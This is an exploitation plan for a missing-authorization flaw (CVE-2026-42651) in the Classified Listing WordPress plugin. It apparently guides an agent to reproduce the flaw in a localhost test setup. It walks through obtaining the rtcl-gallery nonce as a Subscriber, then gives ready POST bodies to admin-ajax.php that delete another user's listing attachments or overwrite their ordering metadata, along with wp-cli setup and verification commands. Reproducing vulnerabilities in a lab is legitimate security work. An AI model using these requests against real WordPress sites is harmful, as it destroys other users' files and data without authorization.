Exploitation Research Plan: CVE-2026-42651 - Missing Authorization in Classified Listing

1. Vulnerability Summary

The Classified Listing plugin for WordPress (versions up to 5.3.9) contains a missing authorization vulnerability in its AJAX gallery management functions. Specifically, the functions gallery_delete and gallery_update_order within the Rtcl\Controllers\Ajax\AjaxGallery class fail to verify if the current user has permission to edit the post (listing) associated with the attachment being modified or deleted.

While the functions verify a security nonce (rtcl-gallery), they do not check if the authenticated user is the owner of the post_id or possesses the edit_others_rtcl_listings capability. This allows any authenticated user (Subscriber and above) to delete attachments from any listing or manipulate image ordering metadata.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: rtcl_gallery_delete (to delete attachments) or rtcl_gallery_update_order (to manipulate metadata).
• Required Authentication: Subscriber-level access or above.
• Vulnerable Parameters:
  • attach_id: The ID of the attachment (media) to delete.
  • post_id: The ID of the listing (post type rtcl_listing) that owns the attachment.
  • _ajax_nonce: A valid nonce for the rtcl-gallery action.

3. Code Flow

Deletion Flow (gallery_delete)

1. Entry: AjaxGallery::__construct registers wp_ajax_rtcl_gallery_delete.
2. Nonce Check: gallery_delete() (Line 52) calls check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ).
3. Input: Fetches attach_id and post_id from $_POST.
4. Verification (Weak): It checks if the attachment exists and if its post_parent matches the provided post_id (Line 71).
5. Missing Check: It does not check if the current user is the author of the post_parent or has admin privileges.
6. Sink: wp_delete_attachment( $attach_id ) (Line 76) deletes the file and metadata.

Ordering Flow (gallery_update_order)

1. Entry: Registers wp_ajax_rtcl_gallery_update_order.
2. Nonce Check: gallery_update_order() (Line 84) calls check_ajax_referer( 'rtcl-gallery', '_ajax_nonce', false ).
3. Missing Check: No ownership or capability check for the provided post_id.
4. Sink: update_post_meta( $post_id, '_rtcl_attachments_order', $ordered_keys ) (Line 93).

4. Nonce Acquisition Strategy

The rtcl-gallery nonce is required. It is typically localized when the gallery management scripts are enqueued, which happens on the "Add Listing" or "Edit Listing" pages.

1. Identify Shortcode: The listing submission form is generated by the [rtcl_post_form] shortcode.
2. Create Access Page: Create a public page containing this shortcode to ensure the script enqueues for the Subscriber.
   • wp post create --post_type=page --post_status=publish --post_title="Submit" --post_content='[rtcl_post_form]'
3. Navigate: Login as a Subscriber and navigate to this page using browser_navigate.
4. Extract Nonce: The plugin localizes data into a JavaScript object. Based on common RadiusTheme patterns, look for rtcl_gallery or rtcl_common.
   • Verbatim check: AjaxGallery.php uses rtcl-gallery.
   • Recommended extraction: browser_eval("rtcl_gallery.nonce") or browser_eval("rtcl_common.nonce"). (If these fail, search the page source for the string "rtcl-gallery" to find the specific variable name).

5. Exploitation Strategy

We will demonstrate the vulnerability by deleting an attachment belonging to a listing owned by the Administrator.

Step 1: Target Identification

• Find a Listing ID (post_id) owned by Admin.
• Find an Attachment ID (attach_id) associated with that listing.

Step 2: Nonce Retrieval

• Navigate to the submission page as a Subscriber.
• Extract the rtcl-gallery nonce.

Step 3: Unauthorized Deletion

• Use the http_request tool to send the malicious POST request.

Request Details:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=rtcl_gallery_delete&_ajax_nonce=[NONCE]&attach_id=[VICTIM_ATTACH_ID]&post_id=[VICTIM_POST_ID]
  

6. Test Data Setup

1. Admin Listing: Create a listing as admin.
   • wp post create --post_type=rtcl_listing --post_status=publish --post_title="Admin Listing" --post_author=1
2. Attach Image: Upload an image and attach it to the listing.
   • wp media import /path/to/image.jpg --post_id=[LISTING_ID]
   • Capture the returned ID as VICTIM_ATTACH_ID.
3. Attacker User: Create a subscriber.
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
4. Submission Page: Create the form page.
   • wp post create --post_type=page --post_status=publish --post_content='[rtcl_post_form]'

7. Expected Results

• The AJAX response should return {"result": 1}.
• The attachment should be permanently removed from the WordPress Media Library and the server filesystem.

8. Verification Steps

1. Check Media: Verify the attachment no longer exists.
   • wp post exists [VICTIM_ATTACH_ID] (should return error/not found).
   • wp media list --post_id=[VICTIM_POST_ID] (should be empty or missing that ID).
2. Check Metadata: Verify the post meta for order is corrupted or points to non-existent IDs.

9. Alternative Approaches

If rtcl_gallery_delete is patched or fails, target rtcl_gallery_update_order:

• Body: action=rtcl_gallery_update_order&_ajax_nonce=[NONCE]&post_id=[VICTIM_POST_ID]&ordered_keys[]=9999&ordered_keys[]=8888
• Verification: wp post meta get [VICTIM_POST_ID] _rtcl_attachments_order to confirm the metadata was updated without authorization.